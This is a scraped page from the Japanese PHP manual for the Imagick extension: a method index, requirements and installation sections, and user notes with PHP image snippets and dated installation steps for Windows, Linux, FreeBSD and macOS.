    • ImagickDraw::pushClipPath — クリップパスの定義を開始する
    • ImagickDraw::pushDefs — 後に続くコマンドが、処理の前に名前つき要素を作成することを示す
    • ImagickDraw::pushPattern — 後に続く ImagickDraw::opPattern() までのコマンドが、名前付きパターンを構成することを示す
    • ImagickDraw::rectangle — 矩形を描画する
    • ImagickDraw::render — これまでのすべての描画コマンドを画像上にレンダリングする
    • ImagickDraw::resetVectorGraphics — Description
    • ImagickDraw::rotate — 指定した回転を現在の座標空間に適用する
    • ImagickDraw::roundRectangle — 角が丸い矩形を描画する
    • ImagickDraw::scale — 倍率を調整する
    • ImagickDraw::setClipPath — 指定した名前のクリッピングパスを画像に関連付ける
    • ImagickDraw::setClipRule — クリッピングパスで使用する多角形塗りつぶしルールを設定する
    • ImagickDraw::setClipUnits — クリップパスの単位の解釈を設定する
    • ImagickDraw::setFillAlpha — 色やテクスチャによる塗りつぶしの際の透過度を設定する
    • ImagickDraw::setFillColor — オブジェクトの塗りつぶしに使用する色を設定する
    • ImagickDraw::setFillOpacity — 色やテクスチャによる塗りつぶしの際の透過度を設定する
    • ImagickDraw::setFillPatternURL — オブジェクトの塗りつぶしパターンとして使用する URL を設定する
    • ImagickDraw::setFillRule — 多角形の描画時に使用する塗りつぶしルールを設定する
    • ImagickDraw::setFont — テキストによる注記を行う際に使用するフォントを設定する
    • ImagickDraw::setFontFamily — テキストによる注記を行う際に使用するフォントファミリーを設定する
    • ImagickDraw::setFontSize — テキストによる注記を行う際に使用するフォントのポイント数を設定する
    • ImagickDraw::setFontStretch — テキストによる注記を行う際に使用するフォントの伸縮を設定する
    • ImagickDraw::setFontStyle — テキストによる注記を行う際に使用するフォントのスタイルを設定する
    • ImagickDraw::setFontWeight — フォントの重さを設定する
    • ImagickDraw::setGravity — テキストの配置時の gravity を設定する
    • ImagickDraw::setResolution — Description
    • ImagickDraw::setStrokeAlpha — オブジェクトの枠線の透明度を指定する
    • ImagickDraw::setStrokeAntialias — 縁取りの枠線をアンチエイリアス処理するかどうかを制御する
    • ImagickDraw::setStrokeColor — オブジェクトの縁取りに使用する色を設定する
    • ImagickDraw::setStrokeDashArray — パスの描画に使用する破線のパターンを指定する
    • ImagickDraw::setStrokeDashOffset — 破線パターンにおける破線の開始オフセットを指定する
    • ImagickDraw::setStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を指定する
    • ImagickDraw::setStrokeLineJoin — パスの角を描画する際に使用する形状を指定する
    • ImagickDraw::setStrokeMiterLimit — マイターリミットを指定する
    • ImagickDraw::setStrokeOpacity — オブジェクトの枠線の透明度を指定する
    • ImagickDraw::setStrokePatternURL — オブジェクトの枠線の描画に使用するパターンを設定する
    • ImagickDraw::setStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を設定する
    • ImagickDraw::setTextAlignment — テキストの配置を指定する
    • ImagickDraw::setTextAntialias — テキストをアンチエイリアス処理するかどうかを制御する
    • ImagickDraw::setTextDecoration — 装飾を指定する
    • ImagickDraw::setTextEncoding — テキストのコードセットを指定する
    • ImagickDraw::setTextInterlineSpacing — Description
    • ImagickDraw::setTextInterwordSpacing — Description
    • ImagickDraw::setTextKerning — Description
    • ImagickDraw::setTextUnderColor — 背景の矩形の色を指定する
    • ImagickDraw::setVectorGraphics — ベクターグラフィックを設定する
    • ImagickDraw::setViewbox — キャンバス全体の大きさを設定する
    • ImagickDraw::skewX — 現在の座標系を水平方向に傾ける
    • ImagickDraw::skewY — 現在の座標系を垂直方向に傾ける
    • ImagickDraw::translate — 現在の座標系に変換を適用する
  • ImagickPixel — ImagickPixel クラス
    • ImagickPixel::clear — このオブジェクトに関連付けられたリソースを消去する
    • ImagickPixel::__construct — ImagickPixel のコンストラクタ
    • ImagickPixel::destroy — このオブジェクトに関連付けられているリソースの割り当てを解除する
    • ImagickPixel::getColor — 色を返す
    • ImagickPixel::getColorAsString — 色を文字列で返す
    • ImagickPixel::getColorCount — この色に関連付けられている色カウントを返す
    • ImagickPixel::getColorQuantum — Description
    • ImagickPixel::getColorValue — 指定した色チャネルの値を正規化したものを取得する
    • ImagickPixel::getColorValueQuantum — Description
    • ImagickPixel::getHSL — ImagickPixel オブジェクトの HSL カラーを正規化したものを返す
    • ImagickPixel::getIndex — Description
    • ImagickPixel::isPixelSimilar — Check the distance between this color and another
    • ImagickPixel::isPixelSimilarQuantum — Description
    • ImagickPixel::isSimilar — この色と別の色の差を調べる
    • ImagickPixel::setColor — 色を設定する
    • ImagickPixel::setColorCount — Description
    • ImagickPixel::setColorValue — 指定したチャネルの正規化した値を設定する
    • ImagickPixel::setColorValueQuantum — Description
    • ImagickPixel::setHSL — 正規化した HSL カラーを設定する
    • ImagickPixel::setIndex — Description
  • ImagickPixelIterator — ImagickPixelIterator クラス
    • ImagickPixelIterator::clear — PixelIterator に関連付けられたリソースを消去する
    • ImagickPixelIterator::__construct — ImagickPixelIterator のコンストラクタ
    • ImagickPixelIterator::destroy — PixelIterator に関連付けられているリソースの割り当てを解除する
    • ImagickPixelIterator::getCurrentIteratorRow — ImagickPixel オブジェクトの現在の行を返す
    • ImagickPixelIterator::getIteratorRow — pixel iterator の現在の行を返す
    • ImagickPixelIterator::getNextIteratorRow — pixel iterator の次の行を返す
    • ImagickPixelIterator::getPreviousIteratorRow — 前の行を返す
    • ImagickPixelIterator::newPixelIterator — 新しい pixel iterator を返す
    • ImagickPixelIterator::newPixelRegionIterator — 新しい pixel iterator を返す
    • ImagickPixelIterator::resetIterator — pixel iterator をリセットする
    • ImagickPixelIterator::setIteratorFirstRow — pixel iterator を最初の行に設定する
    • ImagickPixelIterator::setIteratorLastRow — pixel iterator を最後の行に設定する
    • ImagickPixelIterator::setIteratorRow — pixel iterator の行を設定する
    • ImagickPixelIterator::syncIterator — pixel iterator を同期する
  • ImagickKernel — The ImagickKernel class
    • ImagickKernel::addKernel — Description
    • ImagickKernel::addUnityKernel — Description
    • ImagickKernel::fromBuiltIn — Description
    • ImagickKernel::fromMatrix — Description
    • ImagickKernel::getMatrix — Description
    • ImagickKernel::scale — Description
    • ImagickKernel::separate — Description

User Contributed Notes

carlosvanhalen7 at gmail dot com 06-Mar-2013 07:09
Here's a handy function that finds the first occurrence of a specific pixel. You can set the tolerance of the color you are looking for, or set it to 0 if want an exact match

<?php

function findPixel($img, $r, $g, $b, $tolerance=5)
{
    $original_                 = new Imagick($img);
    $height                    = 0;
    $width                    = 0;
    list($width, $height)    = getimagesize($img);
    $matrix_org                = array();
    $matrix_mrk                = array();

    for( $x = 0 ; $x < $width ; $x++){
        $matrix_org[$x]            = array();
        $matrix_mrk[$x]            = array();
    }

    for( $x = 0 ; $x < $width ; $x++ )
    {
        for( $y = 0 ; $y < $height ; $y++ ){
            $matrix_org[$x][$y]                = $original_->getImagePixelColor($x, $y)->getColorAsString();
            $colors                         = preg_replace('/[^-,0-9+$]/', '', $matrix_org[$x][$y]);
            $colors                            = explode(',', $colors);
            $r_org                            = $colors[0];
            $g_org                            = $colors[1];
            $b_org                            = $colors[2];

            if(     ( $r <= ($r_org+$tolerance) && $r >= ($r_org - $tolerance) )
                &&  ( $g <= ($g_org+$tolerance) && $g >= ($g_org - $tolerance) )
                &&  ( $b <= ($b_org+$tolerance) && $b >= ($b_org - $tolerance) ) )
            {
                return array( $x, $y );
            }
        }
    }

    return false;
}

?>
aem at teletype dot ru 30-Nov-2011 03:09
To configure and build imagick extension with phpize, you must first install libmagickwand-dev and libmagickcore-dev.

For example, "sudo apt-get install libmagickwand-dev libmagickcore-dev" and then phpize and ./configure.
Eero Niemi (eero at eero dot info) 08-Apr-2008 07:06
To load image (usually vector image, like PDF) with larger resolution than image's default is, you have to set resolution before reading the file, like this:

<?php
$im = new Imagick();
$im->setResolution( 300, 300 );
$im->readImage( "test.pdf" );
?>
mlong-php at mlong dot us 24-Oct-2007 01:11
The fit functionality of thumbnailImage doesn't work as one would anticipate. Instead, use this to make a thumbnail that has max of 200x82:

  // Create thumbnail max of 200x82
  $width=$im->getImageWidth();
  if ($width > 200) { $im->thumbnailImage(200,null,0); }

  $height=$im->getImageHeight();
  if ($height > 82) { $im->thumbnailImage(null,82,0); }
mlong-php at mlong dot us 24-Oct-2007 11:46
Here is an example on how to take an image that is already in a string (say, from a database), and resize it, add a border, and print it out. I use this for showing reseller logos

  // Decode image from base64
  $image=base64_decode($imagedata);

  // Create Imagick object
  $im = new Imagick();

  // Convert image into Imagick
  $im->readimageblob($image);

  // Create thumbnail max of 200x82
  $im->thumbnailImage(200,82,true);

  // Add a subtle border
  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);

  // Output the image
  $output = $im->getimageblob();
  $outputtype = $im->getFormat();

  header("Content-type: $outputtype");
  echo $output;


はじめに

Imagick は、ImageMagick API を使用して画像の作成や修正を行う ネイティブ PHP 拡張モジュールです。

ImageMagickR は、ビットマップ画像の作成や修正を行うソフトウェア群です。 さまざまな (100 をこえる) 形式の画像の読み書きや変換に対応しており、 DPX や EXR、GIF、JPEG、JPEG-2000、PDF、PhotoCD、PNG、Postscript、SVG そして TIFF といった形式を扱うことができます。

ImageMagick Studio LLC は、 フリーソフトウェアによる画像処理ソリューションを提供することを目指す非営利組織です。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

Spaceman 20-Dec-2020 08:26
If you want to install ImageMagick on Nginx for Windows, in addition to setting php_imagick.dll extension, you should set an environment variable like so:

- First download ImageMagick package (if you haven't already) *
https://windows.php.net/downloads/pecl/deps/

- Extract it to any folder for example "C:\ImageMagick-xxx\"

- Edit the "PATH" variable and add a new entry with value "C:\ImageMagick-xxx\bin"

* Note: The ImageMagick package you download should match your php Compiler (i.e Visual C++ 2017), Architecture (i.e x86 or x64) and "Thread Safety". All of these can be viewed from php_info()
Rob Oz 12-Dec-2016 07:09
Just a note that the 'Ian Co' instructions for 'Installing ImageMagick on UwAmp for Windows' also works for XAMPP.  Just change the paths accordingly.
laszlo dot phpnet at lieszkovszky dot com 27-May-2016 03:08
Addendum to Ian Co's "Steps to Install ImageMagick for Windows" specifically for Uniform Server Z and how to fix if you get an empty list of ImageMagick supported formats):

Thanks to Ian Co's comments above for setting me in the right direction.

My Uniform Server is installed to B:\UniServerZ, adjust the following steps to your specific installation.

If you've been messing around with a gazillion solutions like me, first delete any previous copies of imagemagick dll-s (i.e. IM_MOD_RL...dll-s, CORE_RL...dll-s) from your sysem, i.e. I had copied them to C:\Windows\system, B:\UniServerZ\core\php56, B:\UniServerZ\core\php56\extensions.

1. Download ImageMagick-6.8.9-1-vc9-x86.zip from http://windows.php.net/downloads/pecl/deps/

Extract contents of bin folder to B:\UniServerZ\core\php56 (or whichever vresion of php you are using)

2. Download the appropriate imagick package from  http://pecl.php.net/package/imagick/3.1.2/windows
For me the right one was  php_imagick-3.1.2-5.6-ts-vc11-x86.zip , check phpinfo whether you need the thread-safe version or not and which architecture.

Extract php_imagemagick.dll ONLY (and not the other dll-s) to B:\UniServerZ\core\php56\extensions

Previously I had tried ImageMagick-6.9.3-7-vc11-x86.zip and ImageMagick-6.9.3-7-vc14-x86.zip but the dll-s here did not work, perhaps because Uniform Server was compiled using VC9? and these were compiled with later versions!? What a mess.

I had also tried creating a C:\ImageMagick and adding it to PATH user-level and to MAGICK_HOME system-level environment variables, but this proved unnecessary (although it also works).

Also, installing the windows binary releases from
http://www.imagemagick.org/script/binary-releases.php#windows
was unnecessary (and might actually mess things up if windows tries those dll-s first).
bradchesney79 at gmail dot com 25-May-2016 05:58
So, your installation in general works so that you can display the output from a PHP script-- even phpinfo(); works. Great start. If not, you likely have bigger problems or are compiling imagick into PHP. Best of luck.

But, back to where we are; PHP in general works, except the imagick extension isn't working or needs installed or something.

There is some very helpful information in the phpinfo(); output blocks.
(If phpinfo(); means nothing to you, hit the google. We'll wait.)

Notably the php.ini that PHP is using can be found there, very important. --Many instructions will tell you to put "extension=imagick" into it.

Better would be to create an imagick.ini file (that has "extension=imagick" inside) in the directory scanned for additional .ini files.

This is nice when the machine you are working on has multiple php.ini files and unused configurations  littered about. phpinfo(); will tell you where the resources being used can be located in the file system.

Helpful to me, thought I'd share...
nkmol 02-Apr-2016 09:21
I have spent many hours trying to get Imagick work on Windows. Finally I have succeeded!

A post on StackOverflow has been made so everyone can see it:
http://stackoverflow.com/questions/18375092/imagick-php-windows/36378764#36378764
Ian Co 30-Mar-2016 05:30
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.

... continued

4. Goto:

    http://pecl.php.net/package/imagick

    as of today, latest is 3.4.1 so I went to:
    http://pecl.php.net/package/imagick/3.4.1/windows

    My PHP version is: 5.6.18, and Thread Safety is Yes from
    Step #1, so I downloaded:
       5.6 Thread Safe (TS) x86
    I got: php_imagick-3.4.1-5.6-ts-vc11-x86.zip

5. Unzip and copy "php_imagick.dll" to the php extension folder:

    In my case:
    php_imagick.dll --> C:\UwAmp\bin\php\php-5.6.18\ext

    Note: this ZIP also contains dlls which other guides says
    to extract to the extension folder of apache.
    NO NEED TO DO IT. Step #3 has taken care of it.

6. Edit "php.ini" and add at the very end (could be
    anywhere I suppose):

      [Imagick]
      extension=php_imagick.dll

      For super newbies: click the edit button in the UwAmp UI,
      "php_uwamp.ini" will open and edit it. It will be copied to
      the correct php.ini when UwAmp is restarted. I had
      trouble at first since there are several php*.ini scattered
      all over.

7. Restart Apache

8. Check PHPInfo
    scroll to section (or find): imagick
    number of supported formats: 234

    If there is no "imagick" section or "supported format" is 0,
    something went wrong.

Hope this helps.
Ian Co 30-Mar-2016 05:29
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.
Took a long time to get it to work.

I initially followed:
http://php .net/manual/en/imagick.installation.php
but after installation, PHPInfo under imagick shows
number of supported formats = 0

So I followed these steps, clobbered from various sources
to get it to work.

1. Open PHPInfo and check:
   Architecture = x86 or x64
   Thread Safety = yes or no

2. Download ImageMagick from:

   http://windows.php.net/downloads/pecl/deps/

   In my case I downloaded: ImageMagick-6.9.3-7-vc11-x86.zip
   because the Architecture under PHPInfo is x86
   as for vc11 or vc14
   search google for "visual c++ 11 runtime" or
   "visual c++ 14 runtime" and install it

3. Unzip and copy all dlls from the bin subfolder to the
    Apache bin directory. It's a bunch of CORE_RL_*.dll
    and IM_MOD_RL_*.dll plus a few other dlls.

    In my case, I installed UwAmp in C:\UwAmp, so:
    (from zip) bin/*.dll --> C:\UwAmp\bin\apache\bin
noreply at gmail dot com 24-Dec-2015 06:38
For installing imagick in Windows do the following:

1. Download and install the ImageMagick API from http://www.imagemagick.org/script/binary-releases.php#windows. (In my case, I installed the lastest version: ImageMagick-6.9.2-10-Q16-x64-dll.)

2. Go to http://pecl.php.net/package/imagick and choose the version of imagick that best suits your PHP version. (Because I had PHP 5.4 I downloaded "php_imagick-3.3.0-5.4-ts-vc9-x86.zip".

3. Extract the contents of the zip file and go to the directory where the files were extracted.

4. Copy the php_imagick.dll in yout PHP's ext folder.

5. All the other dll that you extracted from the zip file can go into  apache's bin directory. In my case, I have apache 2.2 and the bin directory is at: C:\Program Files (x86)\Apache Software Foundation\Apache2.2\bin.

6. Activate the extention in your PHP.ini file by adding the following:
[Imagick]
extension: "C:\Program Files (x86)\PHP\ext\php_imagick.dll"

7. Restart apache
8. Sit back and relax
raaghu1987 at gmail dot com 25-Feb-2015 04:06
This works for me

http://refreshless.com/blog/imagick-pecl-imagemagick-windows/
erigocn at gmail dot com 07-Nov-2014 01:37
Mac 10.10 Yosemite

install php via "Homebrew", then:
$ brew install php53-imagick

and then:
reload php-fpm (or restart apache)
JV 09-Aug-2014 04:20
To install on Ubuntu or Debian, using the package manager, use:

sudo apt-get install php5-imagick
sudo service apache2 reload
Martin dot Winstrand (a) gmail dot com 02-Apr-2013 03:19
Sins I tried around a lot and searched the net to find a working dll for ImageMagic and PHP5.4, with bad results I at last found one working.
There is a guy (Mikko) that has a blog and he wrote about this and and have compiled a working solution. You find his blog about this here: http://valokuva.org/?m=201211.

Hope that this helps others as well.
Valera Rozuvan 02-Jun-2012 07:08
Recently I had to install ImageMagick on FreeBSD. The following commands achieved this without a problem.

cd /usr/ports/graphics/ImageMagick-nox11/
make install clean
service apache22 stop
cd /usr/ports/graphics/pecl-imagick/
make install clean
service apache22 start

NOTE: For some of the package dependencies you will be prompted to select optional add-ons. I left all the config options untouched except for those which provided integration with the X11 system. Those once I disabled.
admin at pankajgrover dot co dot cc 19-Oct-2011 12:30
Simple way to install ImageMagick on your linux machine(RHEL5,Cent OS 5)

#yum install ImageMagick*
#pecl install imagick sometimes you may have ask to install gcc compiler. if so execute #yum install gcc*
added the extension on php.ini
#echo "extension=imagick.so" >> /etc/php.ini
#service httpd restart
djcox99 at googlemail dot com 05-Jan-2011 04:48
I have php 5.3.1 running on apache on windows (with xampp)
to get this working i installed the appropriate image magick from here http://imagemagick.org/script/binary-releases.php#windows

Then i needed the php_imagick.dll for vc6 (because im on apache not iis).

After a bit of searching i found someone hosting it here :
http://www.sk89q.com/2010/03/vc6-windows-binaries-for-imagick-2-3-0/

Hope this helps ^^
matija kancijan - kancija[]gmail dot com 01-Sep-2010 02:36
it is important to install correct version of Visual C++ redistributable Package.

for ImageMagick-6.5.8-10-Q16-windows-dll.exe -
Visual C++ 2008 Redistributable Package

http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf
William Sze 06-Aug-2009 12:47
After 2 hours of looking for help from different documentation & sites, I found out none of them are complete solution.  So, I summary my instruction here:

1) yum install php-devel
2) cd /usr
3) wget http://pear.php.net/go-pear
4) php go-pear
5) See the following line in /etc/php.ini [include_path=".:/usr/PEAR"]
6) pecl install imagick
7) Add the following line in /etc/php.ini [extension=imagick.so]
8) service httpd restart

Hopefully, I can save other engineer effort & time.... Good luck!
acliyanarachchi at gmail dot com 12-Mar-2009 04:11
If you have used lampp first copy imagick.so from /usr/lib/php5/20060613+lfs/imagick.so path and paste it to php lib.(/opt/lampp/lib/php/extensions/no-debug-non-zts-20060613)
Then edit your php.ini and add extension=imagick.so
ynzhang from lakeheadu canada 16-Feb-2009 05:57
imagick 2.2.2 might have a problem loading in PHP 5.3 by giving following error at start-up:

PHP Warning:  PHP Startup: Unable to load dynamic library '.../imagick.so' - .../imagick.so: undefined symbol: XStringListToTextProperty in Unknown on line 0

in this case, revert to PHP 5.2.8 and imagick-2.2.0 will work just fine.
nonproffessional at clockworkgeek dot com 15-Oct-2008 03:09
I too had the error "Please provide a path to MagickWand-config or Wand-config program." when installing on linux (in this case CentOS aka Red Hat).

The simple solution was to ensure "ImageMagick-devel" and NOT "ImageMagick" package was in place. Next comes the standard command:
pecl install imagick

Lastly, and as per the otherwise flawless instructions, edit php.ini to include:
extension=imagick.so
marcel dot ouellette at gmail dot com 02-Sep-2008 10:38
For anyone attempting to install the binaries on windows xp, don't waste your time.  You'll need to install this on windows 2003 Server (and up) or Windows Vista since there are dependences (msvcr80.dll) that will require it.
colnector is from domain colnect.com 13-Jul-2008 05:10
Windows installation is a bit more tricky since "pecl install imagick" does NOT work properly.

Here's how I installed it:
1/ Install ImageMagick software http://www.imagemagick.org/script/binary-releases.php#windows
2/ Download pecl-5.2-dev.zip (choose the version relevant to your PHP) from http://snaps.php.net/
3/ Copy php_imagick.dll from the archive you've downloaded to your PHP extention folder.
4/ Add the following line to php.ini (in the exntentions section):
extension=php_imagick.dll
5/ Restart your server
6/ Try the example script to see all went well

Good luck :)


要件

Windows でのインストール要件

バージョンに関する条件は上と同じです。ImageMagick のバイナリは http://www.imagemagick.org/ で取得できるので、Windows でこの拡張モジュールを使用するにはコンパイラは不要です。

その他のプラットフォームでのインストール要件

PHP >= 5.1.3 および ImageMagick >= 6.2.4 が必要です。 Imagick 拡張モジュールが処理できるフォーマットの数は、 インストールされている ImageMagick でサポートしているフォーマットに依存します。 たとえば、Imagemagick で PDF を操作するには ghostscript が必要となります。

User Contributed Notes

Vee W. 27-Nov-2020 04:07
Imagick multiple versions available on https://windows.php.net/downloads/pecl/releases/imagick/
You can download ImageMagick library (many versions) from https://windows.php.net/downloads/pecl/deps/

The installation instruction is in https://mlocati.github.io/articles/php-windows-imagick.html

== Copied from the above URL ==
1. Extract from php_imagick-....zip the php_imagick.dll file, and save it to the ext directory of your PHP installation
2. Extract from ImageMagick-....zip the DLL files located in the bin folder that start with CORE_RL or IM_MOD_RL, and save them to the PHP root directory (where you have php.exe), or to a directory in your PATH variable
3. Add this line to your php.ini file: extension=php_imagick.dll
4. Restart the Apache/NGINX Windows service (if applicable)
liuwld at qq dot com 30-Jan-2019 08:42
from the last note, I post the following message:
=============
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
=============
Today, I setup a new windows 10 1809 system + Apache 2.4.38 and found a new problem that cannot loaded imagick extension. But after I installed Visual C++ Redistributable for Visual Studio 2015 from MS site, all work ok. And the operation `ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf` is not need.
liuwld at qq dot com 22-Jan-2019 12:56
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
Alex Ivaylov 31-Aug-2017 06:48
Unfortunately the Windows binaries downloaded from the Imagemagick website did not work with PHP 7. It seems that they used Visual C++ 2013 to compile imagemagick while PHP used Visual C++ 2015. There is another build of imagemagick which worked with PHP 7 here: http://windows.php.net/downloads/PECL/deps/


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/imagick.

注意: この拡張モジュールの正式な名前は imagick です。

Windows版のビルド済み DLL は、» PECL のサイトからダウンロードできます。

User Contributed Notes

brunomarcospereira at gmail dot com 04-Apr-2018 04:09
How to install Imagick in Windows 10 with PHP Built In Server:

1.0 - Download Imagick with its dependencies on: https://windows.php.net/downloads/pecl/deps/
1.1 - Copy all the .DLL from the "bin" folder to the root of your PHP (e.g.: C:\php-7.1.2-Win32-VC14-x64);
2.0 - Download the DLL according to your version of PHP in: http://pecl.php.net/package/imagick/3.4.3/windows
2.1 - Copy the DLL "php_imagick.dll" to the "ext" directory (e.g.: C:\php-7.1.2-Win32-VC14-x64\ext).
3.0 - Add the line in php.ini: extension=php_imagick.dll
4.0 - Restart the PHP server.

Note: the mime-types of the images will be "image/x-jpeg", "image/x-png"...
Robert Badi Baldursson 29-Jan-2018 07:56
I have XAMPP version 3.2.2 and PHP 7.1. I was having trouble installing imagick by following Ian Co's notes and then some other very well written tutorials.

However, the imagick module would never show up in phpinfo() but only in the console when typing "php -i" which I found very odd.

It finally turned out that the mistake was to tell me to copy ImageMagic's CORE_RL_* and IM_MOD_RL_* files to C:\xampp\Apache\bin. They needed to be copied to the php root folder where php.exe resides (C:\xampp\php).

When I did that ... boom ... imagick module appeared in phpinfo() finally!
barthuisman at gmail dot com 27-Mar-2017 09:07
If you're on a Ubuntu or debian machine, please don't dive into all those pecl stuff, but just use:

sudo apt-get install php7.1-imagick

where php7.1 is your php version, so could be different.
microzonebitzz at yahoo dot com 09-Feb-2017 06:26
With Ubuntu 16.04 (Xenial) with PHP 5.6 not 7. PHP 7 was disabled.

1. sudo apt-get update
2. sudo apt-get install imagemagick php5.6-imagick
support at vipp dot com dot au 18-Sep-2015 06:23
I tried installing imagick extension on WHM/Cpanel but it didn't work. the error message was
could not extract the package.xml file
This seems to be a bug in PHP 5.5 as reported by users.

I finally installed this extension from command line. Here are the steps I used just in case someone is experiencing similar problem and is looking for a solution.

1. install ImageMagick from rpm repository in WHM.  the version I installed is ImageMagick 6.7.2-7

2. log in the server via ssh,

3. download the latest version of imagick, unpack and install. the version I downloaded is imagick-3.3.0RC2.tgz

wget http://pecl.php.net/get/imagick-3.3.0RC2.tgz
tar xvf imagick-3.3.0RC2.tgz
cd imagick-3.3.0RC2
phpize
./configure
make
make install

the extension was successfully installed

4. in WHM, go to PHP configuration editor, in advanced mode, search extension, and add imagick.so in the list of extension enabled. this can of course be added using a command line editor.

extension=imagick.so

5. restart apache. imagick is there now.
My server runs
PHP Version     5.5
cPanel Version     11.50.0 (build 30)

I hope it works for someone else too.
gollariel at gmail dot com 03-Sep-2015 07:52
I had an error during installation:

checking ImageMagick MagickWand API configuration program... found in /usr/bin/Wand-config
checking if ImageMagick version is at least 6.2.4... configure: error: no. You need at least Imagemagick version 6.2.4 to use Imagick.
ERROR: `/tmp/pear/temp/imagick/configure --with-imagick' failed

Set is obtained as follows:

sudo apt-get remove graphicsmagick-libmagick-dev-compat imagemagick imagemagick-common
sudo apt-get autoremove
sudo apt-get install libmagickwand-dev
sudo pecl install imagick-beta
kmteoh at hotmail dot com 22-Sep-2014 03:28
for PHP 5.3 Windows user who try to install, here is the note where I have spent near 4 hours to get concluded:

- you need NOT LATEST but 6.7.7 imagemagic engine: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/ImageMagick-6.7.7-5-Q16-windows-dll.exe (tips by justinjacob @ http://stackoverflow.com/questions/20440968/installing-php-imagick-dll-php-extension-on-wampserver-2-2)

- http://windows.php.net/downloads/pecl/releases/imagick/3.1.2/ TS version work just fine, make sure you restart apache after install both above, in order.

- if it says 'CORE_RL_WAND' not found, you probably want to move all CORE_* files from /ext folder to one above.
feedback at weknowtoomuch dot com 20-Nov-2013 12:28
I have PHP 5.3.24

I just did that:
 -  Download proper extension version from
    http://windows.php.net/downloads/pecl/releases/imagick/
    I picked 3.1.2 which is the latest non-beta at this time
 -  Unzip and copy php_imagick.dll to PHP ext folder
 -  add
[PHP_IMAGICK]
extension=php_imagick.dll
   to php.ini
 -  Download recommended Imagick version and install from:
    http://imagemagick.org/script/binary-releases.php#windows
   ( I chose to have C headers and also COM objects during installation)
 -  Restart apache
 -  Check phpinfo() for Imagick section... there it is!

Nothing out of ordinary for a PHP extension... I don't know what the fuss is...
holdoffhunger at gmail dot com 30-May-2013 08:55
There is a big disclaimer that should be made to all those about to venture on ImageMagick programming using PHP: the great, vast majority of WAMP (Windows-Apache-MySQL-PHP) servers do not support ImageMagick commands at all, since it is a "different package," and there appears to be no way to install ImageMagick through standard Add/Remove Applications within Linux (as far as standard Debian linux releases go).  It's very easy to get Apache/PHP running in either Windows or Linux with pretty much any standard OS/distro supported so that you can run all of your own code on your own computer.  But that's definitely not the case when you want Imagick to cooperate with your Apache server and your PHP code!

It took me almost an entire week just to get Apache/PHP/ImageMagick working all together nice and happily so that I could run my own PHP code on my own machine (natively, too).  So, I decided to simply write down the steps, to help anyone else out who could need help.

Guide to Building an Apache/PHP/Imagick Server with Linux/CentOS 6.4:::

1. Install CentOS 6.4.  (Theoretically, other versions of CentOS should work as well, but I simply chose the most recent one.)  Also, you can very easily emulate CentOS within Windows (for instance, the unfree choice of VMWare).
2. Install PHP, PHP-Common, PHP-extensions, etc., from standard Application Package Manager ("Add/Remove Programs", usually in system tools somewhere).  (You don't have to worry about Apache, because that comes with CentOS 6.4 anyway.)
3. Open up a terminal and enter admin mode with the command "su".  You'll need a password for this.
4. Enter this command: yum install ImageMagick ImageMagick-devel
5. Enter this command: pecl install imagick
6. Modify php.ini and include the line "extension=imagick.so".  This file is located at "/etc/php.ini" normally.  The line must be exactly inserted in the section of "Dynamic Extensions", which begins with this commented out text:

--------------------------------
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
--------------------------------

Use the "search" feature of gedit to find the text.  Add the extension below the commented out note in this section so that the result looks like:

--------------------------------
;;;;
; Note: packaged extension modules are now loaded via the .ini files
; found in the directory /etc/php.d; these are loaded by default.
;;;;

extension=imagick.so
--------------------------------

Putting the extension directly at the top caused me serious permission issues in running Imagick code.  Also, with CentOS, the permissions automatically disable user control for this php.ini.  Enter the following terminal command: "chown [YOUR-USERNAME] -R /etc/php.ini", without the quotes to get control to modify it.  Note to insert your username where it states "[YOUR-USERNAME]".
7. Enter this command: "service httpd restart", without quotes, from admin mode.  This restarts Apache/PHP/PHP's extensios now that you've installed ImageMagick.  If this gives you an error, just try "service httpd start".

My favorite part about this method is that you can update your system with issuing the "yum update" command and then the "yum upgrade" command -- and the Apache/PHP/Imagick combo will still be working perfectly!  Unlike some other guides out there for this, you don't need to rely on antiquated, unsupported versions that can be nearly impossible to find.  Also, you don't need to worry about the MySQL, Hash, MBString, Exif packages, because they all seem to be installed and properly cooperating with PHP automatically after installing PHP from the Application Manager.  This solution makes everything work well together.

